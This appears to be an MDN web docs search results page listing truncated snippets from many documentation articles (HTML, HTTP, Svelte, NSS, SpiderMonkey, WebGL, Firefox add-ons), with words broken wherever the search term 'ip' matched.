iption associated violation <input type="url"> the value must be an absolute url, as defined in the url living standard. typemismatch constraint violation <input type="email"> the value must be a syntactically valid email address, which generall...
...And 28 more matches
HTML documentation index - HTML: Hypertext Markup Language
page tags and summary 1 html: hypertext markup language html, html5, landing, web, l10n:priority html (hypertext markup language) is the most basic building block of the web. it defines the meaning and structure of web content. other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascr
ipt). 2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current or...
...al attributes, html, reference the autocapitalize global attribute is an enumerated attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user. 10 class global attributes, html, reference the class global attribute is a space-separated list of the case-sensitive classes of the element. classes allow css and javascr
ipt to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname. 11 contenteditable editing, global attributes, html, reference, text editing, contenteditable, text entry, text input the contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user. if so, t...
...ibutes, html, reference, contextmenu the contextmenu global attribute is the id of a <menu> to use as the contextual menu for this element. 13 data-* global attributes, html, reference the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scr
ipts. 14 dir bidi, global attributes, html, reference the dir global attribute is an enumerated attribute that indicates the directionality of the element's text. 15 draggable global attributes, html, reference the draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser behavior or t...
...And 28 more matches
Getting started with Svelte - Learn web development
previous overview: client-side javascr
ipt frameworks next in this article we'll provide a quick introduction to the svelte framework. we will see how svelte works and what sets it apart from the rest of the frameworks and tools we've seen so far. then we will learn how to setup our development environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. ...
...ent environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. svelte is a compiler that generates minimal and highly optimized javascr
ipt code from our sources; you'll need a terminal with node + npm installed to compile and build your app. objective: to setup a local svelte development environment, create and build a starter app, and understand the basics of how it works. svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other...
...w approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module. while frameworks like react and vue do the bulk of their work in the user's browser while the app is running, svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla javascr
ipt. the outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem. svelte sticks closely to the classic web development model of html, css, and js, just adding a few extensions to html and javascr
ipt. it arguably has fewer concepts and to...
...And 27 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
previous overview: client-side javascr
ipt frameworks next in the last article we added more features to our to-do list and started to organize our app into components. in this article we will add the app's final features and further componentize our app. we will learn how to deal with reactivity issues related to updating objects and arrays. to avoid common pitfalls, we'll have to dig a little deeper into svelte's reactivity system. we'll also look at solving some accessibility focus issues, and more besides. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app.
...sponding events. create a new file -- components/moreactions.svelte. when the first button is clicked, we'll emit a checkall event to signal that all the todos should be checked/unchecked. when the second button is clicked, we'll emit a removecompleted event to signal that all of the completed todos should be removed. ...
...at all of the completed todos should be removed. put the following content into your moreactions.svelte file: <scr
ipt> import { createeventdispatcher } from 'svelte' const dispatch = createeventdispatcher() let completed = true const checkall = () => { dispatch('checkall', completed) completed = !completed } const removecompleted = () => dispatch('removecompleted') </scr
ipt> <div class="btn-group"> <button type="button" class="btn btn__primary" on:click={checkall}>{completed ? 'check' : 'uncheck'} all</button> <button type="button" class="btn btn__primary" on:click={removecompleted}>remove completed</button> </div> we've also included a completed variable to toggle between checking and unchecking all tasks. back over in todos.svelte, we are going to i...
...And 27 more matches
HTTP Index - HTTP
this page lists all mdn http pages along with their summary and tags. found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/
ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html. it was designed for communication between web browsers and web servers, but it can also be used for other purposes. http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. ...
...html. it was designed for communication between web browsers and web servers, but it can also be used for other purposes. http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/
ip layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like udp does. rudp -- the reliable update of udp -- is a suitable alternative. 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priori...
...ble update of udp -- is a suitable alternative. 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the rec
ipient, usually the web browser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout descr
iption, images, videos, scr
ipts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-s...
...And 27 more matches
Index of archived content - Archive of obsolete content
.htaccess ( hypertext access ) 2015 mdn fellowsh
ip program api navigator navigator.moznotification add-ons add-on sdk builder guides content scr
ipts communicating with other scr
ipts communicating using "port" communicating using "postmessage" cross-domain content scr
ipts interacting with page scr
ipts loading content scr
ipts reddit example port self ...
... getting started modules private properties firefox compatibility module structure of the sdk porting the library detector program id sdk api lifecycle sdk and xul comparison testing the add-on sdk two types of scr
ipts working with events xul migration guide high-level apis addon-page base64 cl
ipboard context-menu hotkeys indexed-db l10n notifications page-mod page-worker ...
... logging modifying web pages based on url modifying the page hosted by a tab open a web page troubleshooting unit testing using xpcom without chrome using third-party modules (jpm) bootstrapped extensions code sn
ippets alerts and notifications autocomplete bookmarks boxes canvas code sn
ippets cookies customizing the download progress bar delayed execution dialogs and prompts downloading files drag & drop embedding svg examples and demos from ...
...And 26 more matches
Venkman Introduction - Archive of obsolete content
warning: the content of this article may be out of date. a powerful new tool is available for web developers for use in many mozilla-based products, including firefox, mozilla suite and netscape 7.x. the javascr
ipt debugger, also called venkman, has been a part of the mozilla browser and the community of web and scr
ipt developers there for some time. this article provides an overview and some practical examples of using the javascr
ipt debugger in web applications and web page scr
ipting. this introduction is the first in a series of articles on venkman and javascr
ipt debugging. even if you are already using venkman, the features, procedures, and t
ips described here will make you a more confident web developer and debugger. venkman is both a graphic and a console debugger. fea...
...here will make you a more confident web developer and debugger. venkman is both a graphic and a console debugger. features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console commands, letting you work in the way you are most accustomed to. the interactive console also allows for execution of arbitrary javascr
ipt code. venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands. on windows, the javascr
ipt debugger compares favorably with visual interdev and other large web development tools. on other platforms, including mac os and unix, it is alone in offering this degree o...
...ers should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands. on windows, the javascr
ipt debugger compares favorably with visual interdev and other large web development tools. on other platforms, including mac os and unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment. starting the debugger the javascr
ipt debugger is automatically pre-installed in mozilla 1.x but must be installed separately in firefox and other gecko-based products, such as thunderbird and netscape 7.x. fortunately, the xpinstall technology makes it possible to install new application modules in firefox by just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you can easily get the latest versio...
...And 26 more matches
Adobe Flash - Archive of obsolete content
this document is out of date. scr
iptability refers to the ability of plugins to interact with javascr
ipt. in particular, the macromedia(r) flash(tm) plugin exposes certain plugin functionality for access via javascr
ipt. it can also access javascr
ipt methods from within the plugin. this article explains how javascr
ipt can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascr
ipt functions from within the flash animation. the focus of this article is to present t
ips on scr
ipting flash within gecko(tm)-based web browsers. detecting the right flash plugin (and browser) adobe flash has exposed the scr
iptability feature in netscape gecko browsers since flash 6r49 and later. versions of flash prior to flash 6r49 (s...
...s can be used to access javascr
ipt functions from within the flash animation. the focus of this article is to present t
ips on scr
ipting flash within gecko(tm)-based web browsers. detecting the right flash plugin (and browser) adobe flash has exposed the scr
iptability feature in netscape gecko browsers since flash 6r49 and later. versions of flash prior to flash 6r49 (such as flash 5) are not scr
iptable in netscape gecko browsers. thus client-side detection for the right version of flash is an important aspect of creating a scr
ipted flash experience. on mac os x, there is an additional caveat: netscape gecko browsers such as camino (formerly chimera), the latest mozilla browsers, and future versions of netscape which are built using the mach-o binary format won't be able to use flash's scri...
...of flash is an important aspect of creating a scr
ipted flash experience. on mac os x, there is an additional caveat: netscape gecko browsers such as camino (formerly chimera), the latest mozilla browsers, and future versions of netscape which are built using the mach-o binary format won't be able to use flash's scr
iptability features. until macromedia changes this from within the flash plugin, scr
iptability can not be used on mac os x browsers based on gecko. the example below shows a detection heuristic in action. ...
...And 26 more matches
Working with JSON - Learn web development
previous overview: objects next javascr
ipt object notation (json) is a standard text-based format for representing structured data based on javascr
ipt object syntax. it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa). you'll come across it quite often, so in this article we give you all you need to work with json using javascr
ipt, including parsing json so you can access data within it, and creating json. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how to work wi...
... prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how to work with data stored in json, and create your own json objects. no, really, what is json? ...
... javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how to work with data stored in json, and create your own json objects. no, really, what is json? ...
...And 25 more matches
sslerr.html
nt nss reference nss and ssl error codes chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror. in addition to the error codes defined by nspr, pr_geterror retrieves the error codes described in this chapter. ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value descr
iption ssl_error_export_only_server -12288 "unable to communicate securely. peer does not support high-grade encryption." the local system was configured to support the c
ipher suites permitted for domestic use. the remote system was configured to support only the c
ipher suites permitted for export use. ssl_error_us_only_server -12287 "unable to communicate...
...." the local system was configured to support the c
ipher suites permitted for domestic use. the remote system was configured to support only the c
ipher suites permitted for export use. ssl_error_us_only_server -12287 "unable to communicate securely. peer requires high-grade encryption which is not supported." the remote system was configured to support the c
ipher suites permitted for domestic use. the local system was configured to support only the c
ipher suites permitted for export use. ssl_error_no_cypher_overlap -12286 "cannot communicate securely with peer: no common encryption algorithm(s)." the local and remote systems share no c
ipher suites in common. this can be due to a misconfiguration at either end. it can be due...
... ssl_error_expired_cert_alert -12269 "ssl peer rejected your certificate as expired." the remote system has received a certificate from the local system, and has determined that the certificate has expired. ssl_error_ssl_disabled -12268 "cannot connect: ssl is disabled." the local socket is configured in such a way that it cannot use any of the ssl c
ipher suites. possible causes include: (a) both ssl2 and ssl3 are disabled, (b) all the individual ssl c
ipher suites are disabled, or (c) the socket is configured to handshake as a server, but the certificate associated with that socket is inappropriate for the key exchange algorithm selected. ssl_error_fortezza_pqg -12267 "cannot connect: ssl peer is in another fortezza domain." ...
...And 25 more matches
SpiderMonkey 1.8.5
note that version 1.8.5 is outdated. the latest version of spidermonkey can always be found on the source download page. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 1.8.5. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32). spidermonkey 1.8.5 is the javascr
ipt engine that sh
ipped in firefox 4.0. it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below. ...
... javascr
ipt engine that sh
ipped in firefox 4.0. it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. --22 march 2011 platform support spidermonkey 1.8.5 is supported on all the platforms where firefox 4 runs. spidermonkey 1.8.5 includes a just-in-time compiler (jit) (several, actually) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported only on x86, x86_64 and arm architectures. ...
...it's the same language, just not as fast. migrating to spidermonkey 1.8 the following features in earlier versions of spidermonkey have been dropped. support for extended class methods (in particular, jsequalityop) has been removed. multithreaded js programs that race against the same objects are now explicitly not supported. ...
...And 25 more matches
nsIDBFolderInfo
nsidbfolderinfo - careful, pulled from the wrong (cvs) repo! mailnews/db/msgdb/public/nsidbfolderinfo.idlscr
iptable ??? add brief descr
iption of interface ??? inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????. to create an instance, use: implemented by: ????????????????????????????????????? as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages...
...ocale); native code only! obsolete since gecko 1.8 void setmailboxname(in nsstring newboxname); native code only! ...
... sortorder nsmsgviewsortordervalue sorttype nsmsgviewsorttypevalue version unsigned long viewflags nsmsgviewflagstypevalue viewtype nsmsgviewtypevalue methods andflags() long andflags( in long flags ); parameters flags missing descr
iption return value missing descr
iption exceptions thrown missing exception missing descr
iption changeexpungedbytes() void changeexpungedbytes( in long delta ); parameters delta missing descr
iption exceptions thrown missing exception missing descr
iption changenummessages() void changenummessages( in long delta ); parameters delta ...
...And 25 more matches
WebIDL bindings
ost likely fail. this is a signal that you need to get a review from a dom peer. resist the urge to just add your interfaces to the moz.build list without the review; it will just annoy the dom peers and they'll make you get the review anyway. the configuration file, dom/bindings/bindings.conf, is basically a python dict that maps interface names to information about the interface, called a descr
iptor. there are all sorts of possible options here that handle various edge cases, but most descr
iptors can be very simple. all the generated code is placed in the mozilla::dom namespace. for each interface, a namespace whose name is the name of the interface with binding appended is created, and all the things pertaining to that interface's binding go in that namespace. there are various helper ...
... to make sure your header includes all the headers needed for your func annotations. add external interface entries to bindings.conf for whatever non-webidl interfaces your new interface has as arguments or return values. implement a wrapobject override on mozilla::dom::myinterface that just calls through to mozilla::dom::myinterface_binding::wrap. note that if your c++ type is implementing mult
iple distinct web idl interfaces, you need to choose which mozilla::dom::myinterface_binding::wrap to call here. see audiocontext::wrapobject, for example. expose whatever methods the interface needs on mozilla::dom::myinterface. these can be inline, virtual, have any calling convention, and so forth, as long as they have the right argument types and return types. you can see an example of what th...
...s in dom/bindings in your objdir: myinterface-example.h and myinterface-example.cpp, which show a basic implementation of the interface using a class that inherits from nsisupports and has a wrapper cache. see this sample patch that migrates window.performance.* to webidl bindings. note: if your object can only be reflected into js by creating it, not by retrieving it from somewhere, you can sk
ip steps 1 and 2 above and instead add 'wrappercache': false to your descr
iptor. you will need to flag the functions that return your object as [newobject] in the webidl. if your object is not refcounted then the return value of functions that return it should return an nsautoptr. c++ reflections of webidl constructs c++ reflections of webidl operations (methods) a webidl operation is turned in...
...And 25 more matches
AddressErrors - Web APIs
see the examples below to see how this works. ...
... see the examples below to see how this works. ...
... see the examples below to see how this works. properties addressline a domstring which, if present, indicates that the addressline property of the paymentaddress could not be validated. ...
...And 25 more matches
WebGL best practices - Web APIs
ghts dos and don'ts, but also details why. you can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run. general topics address and eliminate webgl errors your application should run without generating any webgl errors (as returned by geterror). every webgl error is reported in the web console as a javascr
ipt warning with a descr
iptive message. after too many errors (32 in firefox), webgl stops generating descr
iptive messages, which really hinders debugging. the only errors a well-formed page generates are out_of_memory and context_lost. know your limits (and extensions) the availability of most webgl extensions depends on the client system. when using webgl extensions, if possible, try to make th...
...s can take as long as 1ms, but they can take even longer if they need to wait for all graphics work to be completed (with an effect similar to glfinish() in native opengl). in production code, avoid such entry points, especially on the browser main thread where they can cause the entire page to jank (often including scrolling or even the whole browser). geterror(): causes a flush + round-tr
ip to fetch errors from the gpu process). for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors. getshader/programparameter(), getshader/programinfolog(), other gets on shaders/programs: flush + shader compile + round-tr
ip, if not done after shader compilation is complete. (see also ...
...r is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors. getshader/programparameter(), getshader/programinfolog(), other gets on shaders/programs: flush + shader compile + round-tr
ip, if not done after shader compilation is complete. (see also parallel shader compilation below.) get*parameter() in general: possible flush + round-tr
ip. in some cases, these will be cached to avoid the round-tr
ip, but try to avoid relying on this. checkframebufferstatus(): possible flush + round-tr
ip. getbuffersubdata(): usual finish + round-tr
ip. (this is okay for read buffers in conjunction with fences - see async data readback below.) readpixels() to the cpu (i.e. without an unpack buffer bound): finish + round-tr
ip. instead...
...And 25 more matches
HTML elements reference - HTML: Hypertext Markup Language
ements, which are created using tags. they are grouped by function to help you find what you have in mind easily. an alphabetical list of all elements is provided in the sidebar on every element's page as well as this one. for more information about the basics of html elements and attributes, see the section on elements in the introduction to html article. ...
...duction to html article. main root element descr
iption <html> the html <html> element represents the root (top-level element) of an html document, so it is also referred to as the root element. all other elements must be descendants of this element. document metadata metadata contains information about the page. this includes information about styles, scr
ipts and data to help software (search engines, browsers, etc.) use and render the page. metadata for styles and scr
ipts may be defined in the page or link to another file that has the information. element descr
iption <base> the html <base> element specifies the base url to use for all relative urls in a document. <head> the html <head> element contains...
... page. metadata for styles and scr
ipts may be defined in the page or link to another file that has the information. element descr
iption <base> the html <base> element specifies the base url to use for all relative urls in a document. <head> the html <head> element contains machine-readable information (metadata) about the document, like its title, scr
ipts, and style sheets. <link> the html external resource link element (<link>) specifies relationsh
ips between the current document and an external resource. this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things. <meta> th...
...And 25 more matches
Populating the page: how browsers work - Web Performance
als of web performance is to minimize the amount of time a navigation takes to complete. in ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays. dns lookup the first step of navigating to a web page is finding where the assets for that page are located. ...
... dns lookup the first step of navigating to a web page is finding where the assets for that page are located. if you navigate to https://example.com, the html page is located on the server with
ip address of 93.184.216.34. if you've never visited this site, a dns lookup must happen. your browser requests a dns lookup, which is eventually fielded by a name server, which in turn responds with an
ip address. after this initial request, the
ip will likely be cached for a time, which speeds up subsequent requests by retrieving the
ip address from the cache instead of contacting a name server again. ...
... this can be problematic for performance, particularly on mobile networks. when a user is on a mobile network, each dns lookup has to go from the phone to the cell tower to reach an authoritative dns server. ...
...And 25 more matches
Modules - Archive of obsolete content
a module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. the use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. unfortunately, javascr
ipt does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscr
ipts, and exporting/ importing names. we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird. to improve encapsulation, each module should be defined in the scope of its own global object. this is made possible by the use of sandboxes. each sandbox lives in its own comp...
...gs using the built-in components object provided by xulrunner application such as firefox and thunderbird. to improve encapsulation, each module should be defined in the scope of its own global object. this is made possible by the use of sandboxes. each sandbox lives in its own compartment. a compartment is a separate memory space. each compartment has a set of privileges that determines what scr
ipts running in that compartment can and cannot do. we will show how sandboxes and compartments can be used to improve security in our module system. the module system used by the sdk is based on the commonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching urls. we show how to create your own custom l...
...r constructor provided by the sdk. the sdk uses its own internal loader, known as cuddlefish. all modules within the sdk are loaded using cuddlefish by default. like any other custom loader, cuddlefish is created using the loader constructor. in the final section, we will take a look at some of the options passed by the sdk to the loader constructor to create the cuddlefish loader. loading subscr
ipts when a javascr
ipt project reaches a certain size, it becomes necessary to split it up into mult
iple files. unfortunately, javascr
ipt does not provide any means to load scr
ipts from other locations: we have to rely on the host application to provide us with this functionality. applications such as firefox and thunderbird are based on xulrunner. xulrunner adds a built-in object, known as compone...
...And 24 more matches
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content. the previous document had a lot of places where ideas were simply introduced without explanation, and i've tried to go through things a bit more slowly with better descr
iptions. this is still very much a work in progress, tho, and i need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary". this document describes how to integrate html help documentation into your application using the mozilla help viewer. documentation contained in the help viewer c...
...ocument describes how to integrate html help documentation into your application using the mozilla help viewer. documentation contained in the help viewer can be accessed using any xul application or program that embeds mozilla. what is a content pack? a content pack is a packaged set of files that describe help content. content packs include help documents written in xhtml, a content pack descr
iptor file written in rdf, and a table of contents, index, and glossary (also written in rdf). you can create a content packs which inherit from existing mozilla help content packs. the contents of a content pack content packs consist of a general pack descr
iption file, table of contents, index, search, glossary, and help documents. the help documents are written in xhtml, and the rest are written...
...table of contents, index, and glossary (also written in rdf). you can create a content packs which inherit from existing mozilla help content packs. the contents of a content pack content packs consist of a general pack descr
iption file, table of contents, index, search, glossary, and help documents. the help documents are written in xhtml, and the rest are written in rdf. the content pack descr
iptor file outlines the framework of the contents of the pack by pointing to the files describing the table of contents, index, and glossary rdf files. the table of contents and index files are simple tree-based outlines written in rdf. the glossary file is written in rdf and consists of a simple list of terms with corresponding urls to the term definition. creating a content pack the content pack...
...And 24 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens. you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable f
ips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create key3.db, cert8.db, and secmod.db security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases (key3.db files) and certificate databases (cert8.db files). the key, certificate, and pkcs #11 modul...
...atabases already exist in a specified directory, the security module database tool displays an error message. -list [modulename] display basic information about the contents of the secmod.db file. use modulename to display detailed information about a particular module and its slots and tokens. -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -c
iphers, and -mechanisms arguments. -jar jar-file add a new pkcs #11 module to the database using the named jar file. use this option with the -installdir and -tempdir arguments. the jar file uses the netscape server pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the c
ipher flags. the jar file should also contain any files to be installed ...
...file uses the netscape server pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the c
ipher flags. the jar file should also contain any files to be installed on the target machine, including the pkcs #11 module library file and other files such as documentation. see the section jar installation file for information on creating the special scr
ipt needed to perform an installation through a server or with the security module database tool (that is, in environments without javascr
ipt support). for general installation instructions and to install a module in environments where javascr
ipt support is available (as in netscape communicator), see the document using the jar installation manager to install a pkcs #11 cryptographic module. -dele...
...And 24 more matches
JS::CompileOptions
this article covers features introduced in spidermonkey 17 compile options classes. constructor js::readonlycompileoptions(); // added in spidermonkey 31 js::owningcompileoptions(jscontext *cx); // added in spidermonkey 31 js::compileoptions(jscontext *cx, jsversion version = jsversion_unknown); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. version jsversion javascr
ipt version used to compile the scr
ipt. methods some methods of js::owningcompileoptions and js::compileoptions return the instance itself to allow method chain. methods of js::readonlycompileoptions ...
...to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. version jsversion javascr
ipt version used to compile the scr
ipt. methods some methods of js::owningcompileoptions and js::compileoptions return the instance itself to allow method chain. methods of js::readonlycompileoptions method descr
iption bool mutederrors() const determines if errors are muted. the web platform allows scr
ipts to be loaded from arbitrary cross-origin sources. this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its ...
... const char *filename() const returns filename of the source code. ...
...And 24 more matches
SpiderMonkey 1.8.7
draft in progress - this is a draft, and right now it's mostly just a copy of the 1.8.5 release notes. xxx needs updating the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 1.8.5. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32). spidermonkey 1.8.5 is the javascr
ipt engine that sh
ipped in firefox 4.0. it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below. ...
... --22 march 2011 platform support spidermonkey 1.8.7 is supported on all the platforms where firefox 10 runs. spidermonkey 1.8.7 includes type inference, which boosts the speed of the jagermonkey jit by about 30% over version 1.8.5. type inference largely obviates tracemonkey, so the tracemonkey jit has been removed. the jit is supported only on x86, x86_64 and arm architectures. ...
...ermonkey 1.8.7 is supported on all the platforms where firefox 10 runs. spidermonkey 1.8.7 includes type inference, which boosts the speed of the jagermonkey jit by about 30% over version 1.8.5. type inference largely obviates tracemonkey, so the tracemonkey jit has been removed. the jit is supported only on x86, x86_64 and arm architectures. on other platforms, the jit is simply disabled; javascr
ipt code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 1.8.7 this covers migrating from version 1.8.5. see the 1.8.5 release notes for information on migrating from earlier versions. the following features in earlier versions of spidermonkey have been dropped. xxx is there anything here? spidermonkey 1.8.7 is not binary-compat...
...And 24 more matches
Observer Notifications
artup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification. see receiving startup notifications for more information about how this works. starting in firefox 3.5 components can simply register for the profile-after-change notification in nsicategorymanager. topic descr
iption * everything. [nsobserverservice.cpp] topic descr
iption xpcom-startup note: an extension can no longer be registered to receive this notification in firefox 4 and later. see xpcom changes in gecko 2.0 for details. called when xpcom is initialized. many things are not available for use at this point. to receive this notification yo...
...that all initial browser windows have opened. note that while the window are open and the chrome loaded the tabs in the windows may still be being restored after this notification. note: this notification is specific to firefox and seamonkey 2.0 applications application shutdown these are the topics that you can observe on shutdown, in order of appearance. topic descr
iption quit-application-requested something has requested that the application be shutdown. you can cancel the shutdown from here by setting asubject.data to true (asubject is the first parameter to your observer, the data value is an nsisupportsprbool). quit-application-granted all observers have agreed to the shutdown. quit-application the application is about t...
...ilable here. web-workers-shutdown called inside xpcom-shutdown. this shuts down all web workers. xpcom-shutdown-threads shuts down the thread manager, causing all nsthreads to finish processing any events already queued and stop accepting new events. browser these topics indicate interesting things that happen that the browser alerts you to. topic descr
iption browser:purge-session-history sent when the sanitizer runs to purge all history and other information. browser:purge-domain-data sent after domain-specific history and other information have been purged. the data value is a string form of the domain. browser-lastwindow-close-requested sent when the browser wishes to close the last open browser window. when ...
...And 24 more matches
MIME types (IANA media types) - HTTP
it is defined and standardized in ietf's rfc 6838. the internet assigned numbers authority (iana) is responsible for all official mime types, and you can find the most up-to-date and complete list at their media types page. important: browsers use the mime type, not the file extension, to determine how to process a url, so it's important that web servers send the correct mime type in the response's content-type header. ...
...arset is specified, the default is ascii (us-ascii) unless overridden by the user agent's settings. to specify a utf-8 text file, the mime type text/plain;charset=utf-8 is used. mime types are case-insensitive but are traditionally written in lowercase, with the exception of parameter values, whose case may or may not have specific meaning. ...
...ime type text/plain;charset=utf-8 is used. mime types are case-insensitive but are traditionally written in lowercase, with the exception of parameter values, whose case may or may not have specific meaning. types there are two classes of type: discrete and mult
ipart. discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. a mult
ipart type is one which represents a document that's comprised of mult
iple component parts, each of which may have its own individual mime type; or, a mult
ipart type may encapsulate mult
iple files being sent together in one transaction. for example, mult
ipart mime types are used when attaching mult
iple files to an email. discrete types the discrete types currently registered with the iana are: ...
...And 24 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to follow this tutorial you'll need to have learned the basics of jpm. to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module. to create a page-mod, you need to specify two things: one or more content scr
ipts to run whose job is to interact with web content. one or more patterns to match urls for the pages you want to modify. ...
...u'll need to have learned the basics of jpm. to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module. to create a page-mod, you need to specify two things: one or more content scr
ipts to run whose job is to interact with web content. one or more patterns to match urls for the pages you want to modify. ...
...ed the basics of jpm. to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module. to create a page-mod, you need to specify two things: one or more content scr
ipts to run whose job is to interact with web content. one or more patterns to match urls for the pages you want to modify. ...
...And 23 more matches
Reference - Archive of obsolete content
ivate variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect -- the preceding comment was added by psygnisfive (talk - contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix. for example, "scr
ipt" and "program" are synonymous. so are "current object" and "context object". we could also put in layman definitions there for js constructs like functions and variables. --maian 01:43, 30 september 2005 (pdt) we should define the terms we are using. in particular this means we should define activation object somewhere (and link to it whenever we mention it). --nickolay 18:40, 16 july 2006 (pdt)...
